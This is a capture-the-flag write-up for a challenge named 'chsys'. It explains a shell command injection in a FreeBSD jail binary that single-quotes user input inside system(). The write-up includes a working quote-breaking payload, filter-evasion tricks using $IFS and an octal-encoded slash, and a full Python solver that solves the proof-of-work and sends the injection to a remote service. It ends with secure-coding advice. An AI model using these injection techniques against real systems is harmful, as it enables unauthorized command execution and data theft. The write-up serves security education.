# chsys
## TL;DR
The service runs a FreeBSD “base system environment manager” binary (env_manager) inside a jail. The binary builds shell commands with system() and incorrectly single-quotes a user-controlled path, allowing quote-breaking command injection. Use create with a crafted directory name under /tmp (writable) to execute cat /flag and print the flag.
Flag:
0ops{this_is_how_freebsd-update_(nearly)_brick_my_server,_I_mean,_if_y0u_Solved_i7_the_1ntenDed_w4y}
## Challenge setup
We’re given:
- Remote:
nc 124.221.39.54 10001 - Attachment:
chsys.tar.gz
After extracting, the relevant files are:
server.py: PoW gate and per-connection spawnspawn.sh: starts a FreeBSD jail and runs/env_managerenv_manager: stripped FreeBSD ELF (the real target)
server.py enforces a PoW:
- Find
noncesuch thatSHA256(challenge || nonce)has 24 leading zero bits.
Then it hands the same socket FD into spawn.sh, which starts a jail and runs env_manager with stdin/out redirected to the socket.
## Recon: env_manager interface
Running strings on env_manager reveals a built-in command menu:
Available commands:
create <directory_name> - Create a new environment
list - List all environments
chsys <index> <dir> - Change environment at index to new directory
chroot <index> - Enter chroot environment at index
version - Show FreeBSD version
quit - Exit the program
It also references /flag, cp, mv, and chflags, which is a strong hint that it is copying the flag into created environments and manipulating flags/attributes.
## Bug: shell command injection via single-quoted system()
From strings, we see env_manager uses commands like:
chflags -R noschg '%s'/bin/cp//bin/mv
The vulnerable pattern is:
- User input is inserted into a shell command and wrapped in single quotes.
- If the input contains a single quote
', it can break out of quoting.
Example (conceptual):
shchflags -R noschg '<USER_INPUT>'
If <USER_INPUT> is:
text/tmp/pwn'; cat /flag; #
the shell parses:
shchflags -R noschg '/tmp/pwn' cat /flag #'
So cat /flag executes.
### Why /tmp?
The jail mounts the template root read-only, and only /tmp is a tmpfs. Trying to create an environment in / fails with “Read-only file system”.
## Exploit details
### Payload
We inject through the create <directory_name> argument.
Working payload (as sent to the service):
textcreate /tmp/pwn';cat<$(printf${IFS}'\057')flag;#
Notes:
- The directory name begins with
/tmp/...so the program can actually create it. - The injected command prints the flag.
$(printf${IFS}'\057')expands to/without writing a literal slash in the filename. This avoids edge cases where some tooling might treat/flagas a path token too early. (It’s also a common trick to bypass simplistic filters.)cat<...avoids needing a literal space.
### Result
The service prints the flag to our socket during the injected execution.
## PoW solution
Difficulty is 24 leading zero bits, which is equivalent to checking:
pythonsha256(challenge + nonce).digest()[:3] == b"\x00\x00\x00"
This can be brute-forced quickly.
## Solver script
A complete solver is included below.
It will:
- Connect to the service
- Parse the PoW challenge
- Brute-force a nonce
- Send the injection payload via
create - Print the resulting output and extract a flag-like token
## Takeaways
- Avoid
system()for filesystem operations; use native syscalls (copy_file_range,execvewithout shell, or library APIs). - If you must invoke external commands, do not build a shell string. Use
execvewith argv or a safe process-spawn API. - Single-quoting user input is not sanitization.
#!/usr/bin/env python3
import hashlib
import multiprocessing as mp
import os
import re
import socket
import sys
import time
HOST = os.environ.get("HOST", "124.221.39.54")
PORT = int(os.environ.get("PORT", "10001"))
DIFFICULTY_BITS = 24
def recv_until(sock: socket.socket, token: bytes, timeout: float = 20.0) -> bytes:
sock.settimeout(timeout)
data = b""
while token not in data:
chunk = sock.recv(4096)
if not chunk:
break
data += chunk
return data
def recv_idle(sock: socket.socket, idle_timeout: float = 0.6, max_total: float = 30.0) -> bytes:
sock.settimeout(idle_timeout)
data = b""
start = time.time()
while time.time() - start < max_total:
try:
chunk = sock.recv(4096)
if not chunk:
break
data += chunk
except TimeoutError:
break
except OSError:
break
return data
def pow_worker(chal: bytes, start: int, step: int, stop: "mp.Event", q: "mp.Queue") -> None:
msg = bytearray(chal) + b"\x00" * 8
mv = memoryview(msg)
i = start
while not stop.is_set():
mv[16:24] = (i & ((1 << 64) - 1)).to_bytes(8, "little")
h = hashlib.sha256(mv).digest()
if h[0] == 0 and h[1] == 0 and h[2] == 0:
try:
q.put(bytes(mv[16:24]), block=False)
except Exception:
pass
stop.set()
return
i += step
def solve_pow(chal: bytes, workers: int | None = None) -> bytes:
workers = workers or min(8, max(2, (os.cpu_count() or 2)))
ctx = mp.get_context("spawn")
stop = ctx.Event()
q: mp.Queue[bytes] = ctx.Queue()
procs: list[mp.Process] = []
for k in range(workers):
p = ctx.Process(target=pow_worker, args=(chal, k, workers, stop, q))
p.daemon = True
p.start()
procs.append(p)
nonce = q.get() # blocks until found
stop.set()
for p in procs:
p.kill()
for p in procs:
p.join(timeout=0.2)
return nonce
def main() -> int:
print(f"[+] connecting to {HOST}:{PORT}")
with socket.create_connection((HOST, PORT), timeout=10) as s:
f = s.makefile("rwb", buffering=0)
banner = recv_until(s, b"nonce (hex): ", timeout=20)
print(banner.decode(errors="replace"), end="")
m = re.search(rb"challenge \(hex\): ([0-9a-fA-F]+)", banner)
if not m:
print("[-] failed to parse PoW challenge")
return 2
chal = bytes.fromhex(m.group(1).decode())
print("[+] solving PoW...")
t0 = time.time()
nonce = solve_pow(chal)
print(f"[+] PoW solved in {time.time() - t0:.2f}s nonce={nonce.hex()}")
f.write(nonce.hex().encode() + b"\n")
menu = recv_until(s, b"Enter command:", timeout=20)
print(menu.decode(errors="replace"), end="")
# Shell injection via system("... '%s' ...") using a dir name under /tmp (writable)
# Avoid literal '/flag' in the filename by generating '/' with printf '\057'.
payload = "create /tmp/pwn';cat<$(printf${IFS}'\\057')flag;#\n"
print(f"[+] sending payload: {payload.strip()}")
f.write(payload.encode())
# create may take a while; read until the service prompts again
out = recv_until(s, b"Enter command:", timeout=80)
text = out.decode(errors="replace")
print(text, end="")
# Try to extract a flag-like token
mm = re.search(r"[A-Za-z0-9_]{0,10}\{[^\n\r]{8,}\}", text)
if mm:
print(f"\n[+] possible flag: {mm.group(0)}")
else:
print("\n[-] no obvious flag pattern found in output")
return 0
if __name__ == "__main__":
raise SystemExit(main())Comments(0)
No comments yet. Be the first to share your thoughts!